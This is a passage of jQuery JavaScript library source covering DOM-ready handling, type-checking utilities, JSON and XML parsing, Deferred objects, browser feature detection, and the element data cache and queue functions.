			// Make sure body exists, at least, in case IE gets a little overzealous (ticket #5443).
			if ( !document.body ) {
				return setTimeout( jQuery.ready, 1 );
			}
			// Remember that the DOM is ready
			jQuery.isReady = true;
			// If a normal DOM Ready event fired, decrement, and wait if need be
			if ( wait !== true && --jQuery.readyWait > 0 ) {
				return;
			}
			// If there are functions bound, to execute
			readyList.resolveWith( document, [ jQuery ] );
			// Trigger any bound ready events
			if ( jQuery.fn.trigger ) {
				jQuery( document ).trigger( "ready" ).unbind( "ready" );
			}
		}
	},
	bindReady: function() {
		if ( readyList ) {
			return;
		}
		readyList = jQuery._Deferred();
		// Catch cases where $(document).ready() is called after the
		// browser event has already occurred.
		if ( document.readyState === "complete" ) {
			// Handle it asynchronously to allow scripts the opportunity to delay ready
			return setTimeout( jQuery.ready, 1 );
		}
		// Mozilla, Opera and webkit nightlies currently support this event
		if ( document.addEventListener ) {
			// Use the handy event callback
			document.addEventListener( "DOMContentLoaded", DOMContentLoaded, false );
			// A fallback to window.onload, that will always work
			window.addEventListener( "load", jQuery.ready, false );
		// If IE event model is used
		} else if ( document.attachEvent ) {
			// ensure firing before onload,
			// maybe late but safe also for iframes
			document.attachEvent("onreadystatechange", DOMContentLoaded);
			// A fallback to window.onload, that will always work
			window.attachEvent( "onload", jQuery.ready );
			// If IE and not a frame
			// continually check to see if the document is ready
			var toplevel = false;
			try {
				toplevel = window.frameElement == null;
			} catch(e) {}
			if ( document.documentElement.doScroll && toplevel ) {
				doScrollCheck();
			}
		}
	},
	// See test/unit/core.js for details concerning isFunction.
	// Since version 1.3, DOM methods and functions like alert
	// aren't supported. They return false on IE (#2968).
	isFunction: function( obj ) {
		return jQuery.type(obj) === "function";
	},
	isArray: Array.isArray || function( obj ) {
		return jQuery.type(obj) === "array";
	},
	// A crude way of determining if an object is a window
	isWindow: function( obj ) {
		return obj && typeof obj === "object" && "setInterval" in obj;
	},
	isNaN: function( obj ) {
		return obj == null || !rdigit.test( obj ) || isNaN( obj );
	},
	type: function( obj ) {
		return obj == null ?
			String( obj ) :
			class2type[ toString.call(obj) ] || "object";
	},
	isPlainObject: function( obj ) {
		// Must be an Object.
		// Because of IE, we also have to check the presence of the constructor property.
		// Make sure that DOM nodes and window objects don't pass through, as well
		if ( !obj || jQuery.type(obj) !== "object" || obj.nodeType || jQuery.isWindow( obj ) ) {
			return false;
		}
		// Not own constructor property must be Object
		if ( obj.constructor &&
			!hasOwn.call(obj, "constructor") &&
			!hasOwn.call(obj.constructor.prototype, "isPrototypeOf") ) {
			return false;
		}
		// Own properties are enumerated firstly, so to speed up,
		// if last one is own, then all properties are own.
		var key;
		for ( key in obj ) {}
		return key === undefined || hasOwn.call( obj, key );
	},
	isEmptyObject: function( obj ) {
		for ( var name in obj ) {
			return false;
		}
		return true;
	},
	error: function( msg ) {
		throw msg;
	},
	parseJSON: function( data ) {
		if ( typeof data !== "string" || !data ) {
			return null;
		}
		// Make sure leading/trailing whitespace is removed (IE can't handle it)
		data = jQuery.trim( data );
		// Make sure the incoming data is actual JSON
		// Logic borrowed from http://json.org/json2.js
		if ( rvalidchars.test(data.replace(rvalidescape, "@")
			.replace(rvalidtokens, "]")
			.replace(rvalidbraces, "")) ) {
			// Try to use the native JSON parser first
			return window.JSON && window.JSON.parse ?
				window.JSON.parse( data ) :
				(new Function("return " + data))();
		} else {
			jQuery.error( "Invalid JSON: " + data );
		}
	},
	// Cross-browser xml parsing
	// (xml & tmp used internally)
	parseXML: function( data , xml , tmp ) {
		if ( window.DOMParser ) { // Standard
			tmp = new DOMParser();
			xml = tmp.parseFromString( data , "text/xml" );
		} else { // IE
			xml = new ActiveXObject( "Microsoft.XMLDOM" );
			xml.async = "false";
			xml.loadXML( data );
		}
		tmp = xml.documentElement;
		if ( ! tmp || ! tmp.nodeName || tmp.nodeName === "parsererror" ) {
			jQuery.error( "Invalid XML: " + data );
		}
		return xml;
	},
	noop: function() {},
	// Evalulates a script in a global context
	globalEval: function( data ) {
		if ( data && rnotwhite.test(data) ) {
			// Inspired by code by Andrea Giammarchi
			// http://webreflection.blogspot.com/2007/08/global-scope-evaluation-and-dom.html
			var head = document.head || document.getElementsByTagName( "head" )[0] || document.documentElement,
				script = document.createElement( "script" );
			if ( jQuery.support.scriptEval() ) {
				script.appendChild( document.createTextNode( data ) );
			} else {
				script.text = data;
			}
			// Use insertBefore instead of appendChild to circumvent an IE6 bug.
			// This arises when a base node is used (#2709).
			head.insertBefore( script, head.firstChild );
			head.removeChild( script );
		}
	},
	nodeName: function( elem, name ) {
		return elem.nodeName && elem.nodeName.toUpperCase() === name.toUpperCase();
	},
	// args is for internal usage only
	each: function( object, callback, args ) {
		var name, i = 0,
			length = object.length,
			isObj = length === undefined || jQuery.isFunction(object);
		if ( args ) {
			if ( isObj ) {
				for ( name in object ) {
					if ( callback.apply( object[ name ], args ) === false ) {
						break;
					}
				}
			} else {
				for ( ; i < length; ) {
					if ( callback.apply( object[ i++ ], args ) === false ) {
						break;
					}
				}
			}
		// A special, fast, case for the most common use of each
		} else {
			if ( isObj ) {
				for ( name in object ) {
					if ( callback.call( object[ name ], name, object[ name ] ) === false ) {
						break;
					}
				}
			} else {
				for ( var value = object[0];
					i < length && callback.call( value, i, value ) !== false; value = object[++i] ) {}
			}
		}
		return object;
	},
	// Use native String.trim function wherever possible
	trim: trim ?
		function( text ) {
			return text == null ?
				"" :
				trim.call( text );
		} :
		// Otherwise use our own trimming functionality
		function( text ) {
			return text == null ?
				"" :
				text.toString().replace( trimLeft, "" ).replace( trimRight, "" );
		},
	// results is for internal usage only
	makeArray: function( array, results ) {
		var ret = results || [];
		if ( array != null ) {
			// The window, strings (and functions) also have 'length'
			// The extra typeof function check is to prevent crashes
			// in Safari 2 (See: #3039)
			// Tweaked logic slightly to handle Blackberry 4.7 RegExp issues #6930
			var type = jQuery.type(array);
			if ( array.length == null || type === "string" || type === "function" || type === "regexp" || jQuery.isWindow( array ) ) {
				push.call( ret, array );
			} else {
				jQuery.merge( ret, array );
			}
		}
		return ret;
	},
	inArray: function( elem, array ) {
		if ( array.indexOf ) {
			return array.indexOf( elem );
		}
		for ( var i = 0, length = array.length; i < length; i++ ) {
			if ( array[ i ] === elem ) {
				return i;
			}
		}
		return -1;
	},
	merge: function( first, second ) {
		var i = first.length,
			j = 0;
		if ( typeof second.length === "number" ) {
			for ( var l = second.length; j < l; j++ ) {
				first[ i++ ] = second[ j ];
			}
		} else {
			while ( second[j] !== undefined ) {
				first[ i++ ] = second[ j++ ];
			}
		}
		first.length = i;
		return first;
	},
	grep: function( elems, callback, inv ) {
		var ret = [], retVal;
		inv = !!inv;
		// Go through the array, only saving the items
		// that pass the validator function
		for ( var i = 0, length = elems.length; i < length; i++ ) {
			retVal = !!callback( elems[ i ], i );
			if ( inv !== retVal ) {
				ret.push( elems[ i ] );
			}
		}
		return ret;
	},
	// arg is for internal usage only
	map: function( elems, callback, arg ) {
		var ret = [], value;
		// Go through the array, translating each of the items to their
		// new value (or values).
		for ( var i = 0, length = elems.length; i < length; i++ ) {
			value = callback( elems[ i ], i, arg );
			if ( value != null ) {
				ret[ ret.length ] = value;
			}
		}
		// Flatten any nested arrays
		return ret.concat.apply( [], ret );
	},
	// A global GUID counter for objects
	guid: 1,
	proxy: function( fn, proxy, thisObject ) {
		if ( arguments.length === 2 ) {
			if ( typeof proxy === "string" ) {
				thisObject = fn;
				fn = thisObject[ proxy ];
				proxy = undefined;
			} else if ( proxy && !jQuery.isFunction( proxy ) ) {
				thisObject = proxy;
				proxy = undefined;
			}
		}
		if ( !proxy && fn ) {
			proxy = function() {
				return fn.apply( thisObject || this, arguments );
			};
		}
		// Set the guid of unique handler to the same of original handler, so it can be removed
		if ( fn ) {
			proxy.guid = fn.guid = fn.guid || proxy.guid || jQuery.guid++;
		}
		// So proxy can be declared as an argument
		return proxy;
	},
	// Mutifunctional method to get and set values to a collection
	// The value/s can be optionally by executed if its a function
	access: function( elems, key, value, exec, fn, pass ) {
		var length = elems.length;
		// Setting many attributes
		if ( typeof key === "object" ) {
			for ( var k in key ) {
				jQuery.access( elems, k, key[k], exec, fn, value );
			}
			return elems;
		}
		// Setting one attribute
		if ( value !== undefined ) {
			// Optionally, function values get executed if exec is true
			exec = !pass && exec && jQuery.isFunction(value);
			for ( var i = 0; i < length; i++ ) {
				fn( elems[i], key, exec ? value.call( elems[i], i, fn( elems[i], key ) ) : value, pass );
			}
			return elems;
		}
		// Getting an attribute
		return length ? fn( elems[0], key ) : undefined;
	},
	now: function() {
		return (new Date()).getTime();
	},
	// Use of jQuery.browser is frowned upon.
	// More details: http://docs.jquery.com/Utilities/jQuery.browser
	uaMatch: function( ua ) {
		ua = ua.toLowerCase();
		var match = rwebkit.exec( ua ) ||
			ropera.exec( ua ) ||
			rmsie.exec( ua ) ||
			ua.indexOf("compatible") < 0 && rmozilla.exec( ua ) ||
			[];
		return { browser: match[1] || "", version: match[2] || "0" };
	},
	sub: function() {
		function jQuerySubclass( selector, context ) {
			return new jQuerySubclass.fn.init( selector, context );
		}
		jQuery.extend( true, jQuerySubclass, this );
		jQuerySubclass.superclass = this;
		jQuerySubclass.fn = jQuerySubclass.prototype = this();
		jQuerySubclass.fn.constructor = jQuerySubclass;
		jQuerySubclass.subclass = this.subclass;
		jQuerySubclass.fn.init = function init( selector, context ) {
			if ( context && context instanceof jQuery && !(context instanceof jQuerySubclass) ) {
				context = jQuerySubclass(context);
			}
			return jQuery.fn.init.call( this, selector, context, rootjQuerySubclass );
		};
		jQuerySubclass.fn.init.prototype = jQuerySubclass.fn;
		var rootjQuerySubclass = jQuerySubclass(document);
		return jQuerySubclass;
	},
	browser: {}
});
// Populate the class2type map
jQuery.each("Boolean Number String Function Array Date RegExp Object".split(" "), function(i, name) {
	class2type[ "[object " + name + "]" ] = name.toLowerCase();
});
browserMatch = jQuery.uaMatch( userAgent );
if ( browserMatch.browser ) {
	jQuery.browser[ browserMatch.browser ] = true;
	jQuery.browser.version = browserMatch.version;
}
// Deprecated, use jQuery.browser.webkit instead
if ( jQuery.browser.webkit ) {
	jQuery.browser.safari = true;
}
if ( indexOf ) {
	jQuery.inArray = function( elem, array ) {
		return indexOf.call( array, elem );
	};
}
// IE doesn't match non-breaking spaces with \s
if ( rnotwhite.test( "\xA0" ) ) {
	trimLeft = /^[\s\xA0]+/;
	trimRight = /[\s\xA0]+$/;
}
// All jQuery objects should point back to these
rootjQuery = jQuery(document);
// Cleanup functions for the document ready method
if ( document.addEventListener ) {
	DOMContentLoaded = function() {
		document.removeEventListener( "DOMContentLoaded", DOMContentLoaded, false );
		jQuery.ready();
	};
} else if ( document.attachEvent ) {
	DOMContentLoaded = function() {
		// Make sure body exists, at least, in case IE gets a little overzealous (ticket #5443).
		if ( document.readyState === "complete" ) {
			document.detachEvent( "onreadystatechange", DOMContentLoaded );
			jQuery.ready();
		}
	};
}
// The DOM ready check for Internet Explorer
function doScrollCheck() {
	if ( jQuery.isReady ) {
		return;
	}
	try {
		// If IE is used, use the trick by Diego Perini
		// http://javascript.nwbox.com/IEContentLoaded/
		document.documentElement.doScroll("left");
	} catch(e) {
		setTimeout( doScrollCheck, 1 );
		return;
	}
	// and execute any waiting functions
	jQuery.ready();
}
// Expose jQuery to the global object
return jQuery;
})();
var // Promise methods
	promiseMethods = "then done fail isResolved isRejected promise".split( " " ),
	// Static reference to slice
	sliceDeferred = [].slice;
jQuery.extend({
	// Create a simple deferred (one callbacks list)
	_Deferred: function() {
		var // callbacks list
			callbacks = [],
			// stored [ context , args ]
			fired,
			// to avoid firing when already doing so
			firing,
			// flag to know if the deferred has been cancelled
			cancelled,
			// the deferred itself
			deferred  = {
				// done( f1, f2, ...)
				done: function() {
					if ( !cancelled ) {
						var args = arguments,
							i,
							length,
							elem,
							type,
							_fired;
						if ( fired ) {
							_fired = fired;
							fired = 0;
						}
						for ( i = 0, length = args.length; i < length; i++ ) {
							elem = args[ i ];
							type = jQuery.type( elem );
							if ( type === "array" ) {
								deferred.done.apply( deferred, elem );
							} else if ( type === "function" ) {
								callbacks.push( elem );
							}
						}
						if ( _fired ) {
							deferred.resolveWith( _fired[ 0 ], _fired[ 1 ] );
						}
					}
					return this;
				},
				// resolve with given context and args
				resolveWith: function( context, args ) {
					if ( !cancelled && !fired && !firing ) {
						// make sure args are available (#8421)
						args = args || [];
						firing = 1;
						try {
							while( callbacks[ 0 ] ) {
								callbacks.shift().apply( context, args );
							}
						} catch(e){
							//
						} finally {
							fired = [ context, args ];
							firing = 0;
						}
					}
					return this;
				},
				// resolve with this as context and given arguments
				resolve: function() {
					deferred.resolveWith( this, arguments );
					return this;
				},
				// Has this deferred been resolved?
				isResolved: function() {
					return !!( firing || fired );
				},
				// Cancel
				cancel: function() {
					cancelled = 1;
					callbacks = [];
					return this;
				}
			};
		return deferred;
	},
	// Full fledged deferred (two callbacks list)
	Deferred: function( func ) {
		var deferred = jQuery._Deferred(),
			failDeferred = jQuery._Deferred(),
			promise;
		// Add errorDeferred methods, then and promise
		jQuery.extend( deferred, {
			then: function( doneCallbacks, failCallbacks ) {
				deferred.done( doneCallbacks ).fail( failCallbacks );
				return this;
			},
			fail: failDeferred.done,
			rejectWith: failDeferred.resolveWith,
			reject: failDeferred.resolve,
			isRejected: failDeferred.isResolved,
			// Get a promise for this deferred
			// If obj is provided, the promise aspect is added to the object
			promise: function( obj ) {
				if ( obj == null ) {
					if ( promise ) {
						return promise;
					}
					promise = obj = {};
				}
				var i = promiseMethods.length;
				while( i-- ) {
					obj[ promiseMethods[i] ] = deferred[ promiseMethods[i] ];
				}
				return obj;
			}
		} );
		// Make sure only one callback list will be used
		deferred.done( failDeferred.cancel ).fail( deferred.cancel );
		// Unexpose cancel
		delete deferred.cancel;
		// Call given func if any
		if ( func ) {
			func.call( deferred, deferred );
		}
		return deferred;
	},
	// Deferred helper
	when: function( firstParam ) {
		var args = arguments,
			i = 0,
			length = args.length,
			count = length,
			deferred = length <= 1 && firstParam && jQuery.isFunction( firstParam.promise ) ?
				firstParam :
				jQuery.Deferred();
		function resolveFunc( i ) {
			return function( value ) {
				args[ i ] = arguments.length > 1 ? sliceDeferred.call( arguments, 0 ) : value;
				if ( !( --count ) ) {
					// Strange bug in FF4:
					// Values changed onto the arguments object sometimes end up as undefined values
					// outside the $.when method. Cloning the object into a fresh array solves the issue
					deferred.resolveWith( deferred, sliceDeferred.call( args, 0 ) );
				}
			};
		}
		if ( length > 1 ) {
			for( ; i < length; i++ ) {
				if ( args[ i ] && jQuery.isFunction( args[ i ].promise ) ) {
					args[ i ].promise().then( resolveFunc(i), deferred.reject );
				} else {
					--count;
				}
			}
			if ( !count ) {
				deferred.resolveWith( deferred, args );
			}
		} else if ( deferred !== firstParam ) {
			deferred.resolveWith( deferred, length ? [ firstParam ] : [] );
		}
		return deferred.promise();
	}
});
(function() {
	jQuery.support = {};
	var div = document.createElement("div");
	div.style.display = "none";
	div.innerHTML = "   <link/><table></table><a href='/a' style='color:red;float:left;opacity:.55;'>a</a><input type='checkbox'/>";
	var all = div.getElementsByTagName("*"),
		a = div.getElementsByTagName("a")[0],
		select = document.createElement("select"),
		opt = select.appendChild( document.createElement("option") ),
		input = div.getElementsByTagName("input")[0];
	// Can't get basic test support
	if ( !all || !all.length || !a ) {
		return;
	}
	jQuery.support = {
		// IE strips leading whitespace when .innerHTML is used
		leadingWhitespace: div.firstChild.nodeType === 3,
		// Make sure that tbody elements aren't automatically inserted
		// IE will insert them into empty tables
		tbody: !div.getElementsByTagName("tbody").length,
		// Make sure that link elements get serialized correctly by innerHTML
		// This requires a wrapper element in IE
		htmlSerialize: !!div.getElementsByTagName("link").length,
		// Get the style information from getAttribute
		// (IE uses .cssText insted)
		style: /red/.test( a.getAttribute("style") ),
		// Make sure that URLs aren't manipulated
		// (IE normalizes it by default)
		hrefNormalized: a.getAttribute("href") === "/a",
		// Make sure that element opacity exists
		// (IE uses filter instead)
		// Use a regex to work around a WebKit issue. See #5145
		opacity: /^0.55$/.test( a.style.opacity ),
		// Verify style float existence
		// (IE uses styleFloat instead of cssFloat)
		cssFloat: !!a.style.cssFloat,
		// Make sure that if no value is specified for a checkbox
		// that it defaults to "on".
		// (WebKit defaults to "" instead)
		checkOn: input.value === "on",
		// Make sure that a selected-by-default option has a working selected property.
		// (WebKit defaults to false instead of true, IE too, if it's in an optgroup)
		optSelected: opt.selected,
		// Will be defined later
		deleteExpando: true,
		optDisabled: false,
		checkClone: false,
		noCloneEvent: true,
		noCloneChecked: true,
		boxModel: null,
		inlineBlockNeedsLayout: false,
		shrinkWrapBlocks: false,
		reliableHiddenOffsets: true,
		reliableMarginRight: true
	};
	input.checked = true;
	jQuery.support.noCloneChecked = input.cloneNode( true ).checked;
	// Make sure that the options inside disabled selects aren't marked as disabled
	// (WebKit marks them as diabled)
	select.disabled = true;
	jQuery.support.optDisabled = !opt.disabled;
	var _scriptEval = null;
	jQuery.support.scriptEval = function() {
		if ( _scriptEval === null ) {
			var root = document.documentElement,
				script = document.createElement("script"),
				id = "script" + jQuery.now();
			// Make sure that the execution of code works by injecting a script
			// tag with appendChild/createTextNode
			// (IE doesn't support this, fails, and uses .text instead)
			try {
				script.appendChild( document.createTextNode( "window." + id + "=1;" ) );
			} catch(e) {}
			root.insertBefore( script, root.firstChild );
			if ( window[ id ] ) {
				_scriptEval = true;
				delete window[ id ];
			} else {
				_scriptEval = false;
			}
			root.removeChild( script );
		}
		return _scriptEval;
	};
	// Test to see if it's possible to delete an expando from an element
	// Fails in Internet Explorer
	try {
		delete div.test;
	} catch(e) {
		jQuery.support.deleteExpando = false;
	}
	if ( !div.addEventListener && div.attachEvent && div.fireEvent ) {
		div.attachEvent("onclick", function click() {
			// Cloning a node shouldn't copy over any
			// bound event handlers (IE does this)
			jQuery.support.noCloneEvent = false;
			div.detachEvent("onclick", click);
		});
		div.cloneNode(true).fireEvent("onclick");
	}
	div = document.createElement("div");
	div.innerHTML = "<input type='radio' name='radiotest' checked='checked'/>";
	var fragment = document.createDocumentFragment();
	fragment.appendChild( div.firstChild );
	// WebKit doesn't clone checked state correctly in fragments
	jQuery.support.checkClone = fragment.cloneNode(true).cloneNode(true).lastChild.checked;
	// Figure out if the W3C box model works as expected
	// document.body must exist before we can do this
	jQuery(function() {
		var div = document.createElement("div"),
			body = document.getElementsByTagName("body")[0];
		// Frameset documents with no body should not run this code
		if ( !body ) {
			return;
		}
		div.style.width = div.style.paddingLeft = "1px";
		body.appendChild( div );
		jQuery.boxModel = jQuery.support.boxModel = div.offsetWidth === 2;
		if ( "zoom" in div.style ) {
			// Check if natively block-level elements act like inline-block
			// elements when setting their display to 'inline' and giving
			// them layout
			// (IE < 8 does this)
			div.style.display = "inline";
			div.style.zoom = 1;
			jQuery.support.inlineBlockNeedsLayout = div.offsetWidth === 2;
			// Check if elements with layout shrink-wrap their children
			// (IE 6 does this)
			div.style.display = "";
			div.innerHTML = "<div style='width:4px;'></div>";
			jQuery.support.shrinkWrapBlocks = div.offsetWidth !== 2;
		}
		div.innerHTML = "<table><tr><td style='padding:0;border:0;display:none'></td><td>t</td></tr></table>";
		var tds = div.getElementsByTagName("td");
		// Check if table cells still have offsetWidth/Height when they are set
		// to display:none and there are still other visible table cells in a
		// table row; if so, offsetWidth/Height are not reliable for use when
		// determining if an element has been hidden directly using
		// display:none (it is still safe to use offsets if a parent element is
		// hidden; don safety goggles and see bug #4512 for more information).
		// (only IE 8 fails this test)
		jQuery.support.reliableHiddenOffsets = tds[0].offsetHeight === 0;
		tds[0].style.display = "";
		tds[1].style.display = "none";
		// Check if empty table cells still have offsetWidth/Height
		// (IE < 8 fail this test)
		jQuery.support.reliableHiddenOffsets = jQuery.support.reliableHiddenOffsets && tds[0].offsetHeight === 0;
		div.innerHTML = "";
		// Check if div with explicit width and no margin-right incorrectly
		// gets computed margin-right based on width of container. For more
		// info see bug #3333
		// Fails in WebKit before Feb 2011 nightlies
		// WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right
		if ( document.defaultView && document.defaultView.getComputedStyle ) {
			div.style.width = "1px";
			div.style.marginRight = "0";
			jQuery.support.reliableMarginRight = ( parseInt(document.defaultView.getComputedStyle(div, null).marginRight, 10) || 0 ) === 0;
		}
		body.removeChild( div ).style.display = "none";
		div = tds = null;
	});
	// Technique from Juriy Zaytsev
	// http://thinkweb2.com/projects/prototype/detecting-event-support-without-browser-sniffing/
	var eventSupported = function( eventName ) {
		var el = document.createElement("div");
		eventName = "on" + eventName;
		// We only care about the case where non-standard event systems
		// are used, namely in IE. Short-circuiting here helps us to
		// avoid an eval call (in setAttribute) which can cause CSP
		// to go haywire. See: https://developer.mozilla.org/en/Security/CSP
		if ( !el.attachEvent ) {
			return true;
		}
		var isSupported = (eventName in el);
		if ( !isSupported ) {
			el.setAttribute(eventName, "return;");
			isSupported = typeof el[eventName] === "function";
		}
		return isSupported;
	};
	jQuery.support.submitBubbles = eventSupported("submit");
	jQuery.support.changeBubbles = eventSupported("change");
	// release memory in IE
	div = all = a = null;
})();
var rbrace = /^(?:\{.*\}|\[.*\])$/;
jQuery.extend({
	cache: {},
	// Please use with caution
	uuid: 0,
	// Unique for each copy of jQuery on the page
	// Non-digits removed to match rinlinejQuery
	expando: "jQuery" + ( jQuery.fn.jquery + Math.random() ).replace( /\D/g, "" ),
	// The following elements throw uncatchable exceptions if you
	// attempt to add expando properties to them.
	noData: {
		"embed": true,
		// Ban all objects except for Flash (which handle expandos)
		"object": "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",
		"applet": true
	},
	hasData: function( elem ) {
		elem = elem.nodeType ? jQuery.cache[ elem[jQuery.expando] ] : elem[ jQuery.expando ];
		return !!elem && !isEmptyDataObject( elem );
	},
	data: function( elem, name, data, pvt /* Internal Use Only */ ) {
		if ( !jQuery.acceptData( elem ) ) {
			return;
		}
		var internalKey = jQuery.expando, getByName = typeof name === "string", thisCache,
			// We have to handle DOM nodes and JS objects differently because IE6-7
			// can't GC object references properly across the DOM-JS boundary
			isNode = elem.nodeType,
			// Only DOM nodes need the global jQuery cache; JS object data is
			// attached directly to the object so GC can occur automatically
			cache = isNode ? jQuery.cache : elem,
			// Only defining an ID for JS objects if its cache already exists allows
			// the code to shortcut on the same path as a DOM node with no cache
			id = isNode ? elem[ jQuery.expando ] : elem[ jQuery.expando ] && jQuery.expando;
		// Avoid doing any more work than we need to when trying to get data on an
		// object that has no data at all
		if ( (!id || (pvt && id && !cache[ id ][ internalKey ])) && getByName && data === undefined ) {
			return;
		}
		if ( !id ) {
			// Only DOM nodes need a new unique ID for each element since their data
			// ends up in the global cache
			if ( isNode ) {
				elem[ jQuery.expando ] = id = ++jQuery.uuid;
			} else {
				id = jQuery.expando;
			}
		}
		if ( !cache[ id ] ) {
			cache[ id ] = {};
			// TODO: This is a hack for 1.5 ONLY. Avoids exposing jQuery
			// metadata on plain JS objects when the object is serialized using
			// JSON.stringify
			if ( !isNode ) {
				cache[ id ].toJSON = jQuery.noop;
			}
		}
		// An object can be passed to jQuery.data instead of a key/value pair; this gets
		// shallow copied over onto the existing cache
		if ( typeof name === "object" || typeof name === "function" ) {
			if ( pvt ) {
				cache[ id ][ internalKey ] = jQuery.extend(cache[ id ][ internalKey ], name);
			} else {
				cache[ id ] = jQuery.extend(cache[ id ], name);
			}
		}
		thisCache = cache[ id ];
		// Internal jQuery data is stored in a separate object inside the object's data
		// cache in order to avoid key collisions between internal data and user-defined
		// data
		if ( pvt ) {
			if ( !thisCache[ internalKey ] ) {
				thisCache[ internalKey ] = {};
			}
			thisCache = thisCache[ internalKey ];
		}
		if ( data !== undefined ) {
			thisCache[ name ] = data;
		}
		// TODO: This is a hack for 1.5 ONLY. It will be removed in 1.6. Users should
		// not attempt to inspect the internal events object using jQuery.data, as this
		// internal data object is undocumented and subject to change.
		if ( name === "events" && !thisCache[name] ) {
			return thisCache[ internalKey ] && thisCache[ internalKey ].events;
		}
		return getByName ? thisCache[ name ] : thisCache;
	},
	removeData: function( elem, name, pvt /* Internal Use Only */ ) {
		if ( !jQuery.acceptData( elem ) ) {
			return;
		}
		var internalKey = jQuery.expando, isNode = elem.nodeType,
			// See jQuery.data for more information
			cache = isNode ? jQuery.cache : elem,
			// See jQuery.data for more information
			id = isNode ? elem[ jQuery.expando ] : jQuery.expando;
		// If there is already no cache entry for this object, there is no
		// purpose in continuing
		if ( !cache[ id ] ) {
			return;
		}
		if ( name ) {
			var thisCache = pvt ? cache[ id ][ internalKey ] : cache[ id ];
			if ( thisCache ) {
				delete thisCache[ name ];
				// If there is no data left in the cache, we want to continue
				// and let the cache object itself get destroyed
				if ( !isEmptyDataObject(thisCache) ) {
					return;
				}
			}
		}
		// See jQuery.data for more information
		if ( pvt ) {
			delete cache[ id ][ internalKey ];
			// Don't destroy the parent cache unless the internal data object
			// had been the only thing left in it
			if ( !isEmptyDataObject(cache[ id ]) ) {
				return;
			}
		}
		var internalCache = cache[ id ][ internalKey ];
		// Browsers that fail expando deletion also refuse to delete expandos on
		// the window, but it will allow it on all other JS objects; other browsers
		// don't care
		if ( jQuery.support.deleteExpando || cache != window ) {
			delete cache[ id ];
		} else {
			cache[ id ] = null;
		}
		// We destroyed the entire user cache at once because it's faster than
		// iterating through each key, but we need to continue to persist internal
		// data if it existed
		if ( internalCache ) {
			cache[ id ] = {};
			// TODO: This is a hack for 1.5 ONLY. Avoids exposing jQuery
			// metadata on plain JS objects when the object is serialized using
			// JSON.stringify
			if ( !isNode ) {
				cache[ id ].toJSON = jQuery.noop;
			}
			cache[ id ][ internalKey ] = internalCache;
		// Otherwise, we need to eliminate the expando on the node to avoid
		// false lookups in the cache for entries that no longer exist
		} else if ( isNode ) {
			// IE does not allow us to delete expando properties from nodes,
			// nor does it have a removeAttribute function on Document nodes;
			// we must handle all of these cases
			if ( jQuery.support.deleteExpando ) {
				delete elem[ jQuery.expando ];
			} else if ( elem.removeAttribute ) {
				elem.removeAttribute( jQuery.expando );
			} else {
				elem[ jQuery.expando ] = null;
			}
		}
	},
	// For internal use only.
	_data: function( elem, name, data ) {
		return jQuery.data( elem, name, data, true );
	},
	// A method for determining if a DOM node can handle the data expando
	acceptData: function( elem ) {
		if ( elem.nodeName ) {
			var match = jQuery.noData[ elem.nodeName.toLowerCase() ];
			if ( match ) {
				return !(match === true || elem.getAttribute("classid") !== match);
			}
		}
		return true;
	}
});
jQuery.fn.extend({
	data: function( key, value ) {
		var data = null;
		if ( typeof key === "undefined" ) {
			if ( this.length ) {
				data = jQuery.data( this[0] );
				if ( this[0].nodeType === 1 ) {
					var attr = this[0].attributes, name;
					for ( var i = 0, l = attr.length; i < l; i++ ) {
						name = attr[i].name;
						if ( name.indexOf( "data-" ) === 0 ) {
							name = name.substr( 5 );
							dataAttr( this[0], name, data[ name ] );
						}
					}
				}
			}
			return data;
		} else if ( typeof key === "object" ) {
			return this.each(function() {
				jQuery.data( this, key );
			});
		}
		var parts = key.split(".");
		parts[1] = parts[1] ? "." + parts[1] : "";
		if ( value === undefined ) {
			data = this.triggerHandler("getData" + parts[1] + "!", [parts[0]]);
			// Try to fetch any internally stored data first
			if ( data === undefined && this.length ) {
				data = jQuery.data( this[0], key );
				data = dataAttr( this[0], key, data );
			}
			return data === undefined && parts[1] ?
				this.data( parts[0] ) :
				data;
		} else {
			return this.each(function() {
				var $this = jQuery( this ),
					args = [ parts[0], value ];
				$this.triggerHandler( "setData" + parts[1] + "!", args );
				jQuery.data( this, key, value );
				$this.triggerHandler( "changeData" + parts[1] + "!", args );
			});
		}
	},
	removeData: function( key ) {
		return this.each(function() {
			jQuery.removeData( this, key );
		});
	}
});
function dataAttr( elem, key, data ) {
	// If nothing was found internally, try to fetch any
	// data from the HTML5 data-* attribute
	if ( data === undefined && elem.nodeType === 1 ) {
		data = elem.getAttribute( "data-" + key );
		if ( typeof data === "string" ) {
			try {
				data = data === "true" ? true :
				data === "false" ? false :
				data === "null" ? null :
				!jQuery.isNaN( data ) ? parseFloat( data ) :
					rbrace.test( data ) ? jQuery.parseJSON( data ) :
					data;
			} catch( e ) {}
			// Make sure we set the data so it isn't changed later
			jQuery.data( elem, key, data );
		} else {
			data = undefined;
		}
	}
	return data;
}
// TODO: This is a hack for 1.5 ONLY to allow objects with a single toJSON
// property to be considered empty objects; this property always exists in
// order to make sure JSON.stringify does not expose internal metadata
function isEmptyDataObject( obj ) {
	for ( var name in obj ) {
		if ( name !== "toJSON" ) {
			return false;
		}
	}
	return true;
}
jQuery.extend({
	queue: function( elem, type, data ) {
		if ( !elem ) {
			return;
		}
		type = (type || "fx") + "queue";
		var q = jQuery._data( elem, type );
		// Speed up dequeue by getting out quickly if this is just a lookup
		if ( !data ) {
			return q || [];
		}
		if ( !q || jQuery.isArray(data) ) {
			q = jQuery._data( elem, type, jQuery.makeArray(data) );
		} else {
			q.push( data );
		}
		return q;
	},
	dequeue: function( elem, type ) {
		type = type || "fx";
		var queue = jQuery.queue( elem, type ),
			fn = queue.shift();
		// If the fx queue is dequeued, always remove the progress sentinel
		if ( fn === "inprogress" ) {
			fn = queue.shift();
		}
		if ( fn ) {
			// Add a progress sentinel to prevent the fx queue from being
			// automatically dequeued
			if ( type === "fx" ) {
				queue.unshift("inprogress");
			}
			fn.call(elem, function() {
				jQuery.dequeue(elem, type);
			});
		}
		if ( !queue.length ) {
			jQuery.removeData( elem, type + "queue", true );
		}
	}
});
jQuery.fn.extend({
	queue: function( type, data ) {
		if ( typeof type !== "string" ) {
			data = type;
			type = "fx";
		}
		if ( data === undefined ) {
			return jQuery.queue( this[0], type );
		}
		return this.each(function( i ) {
			var queue = jQuery.queue( this, type, data );
			if ( type === "fx" && queue[0] !== "inprogress" ) {
				jQuery.dequeue( this, type );
			}
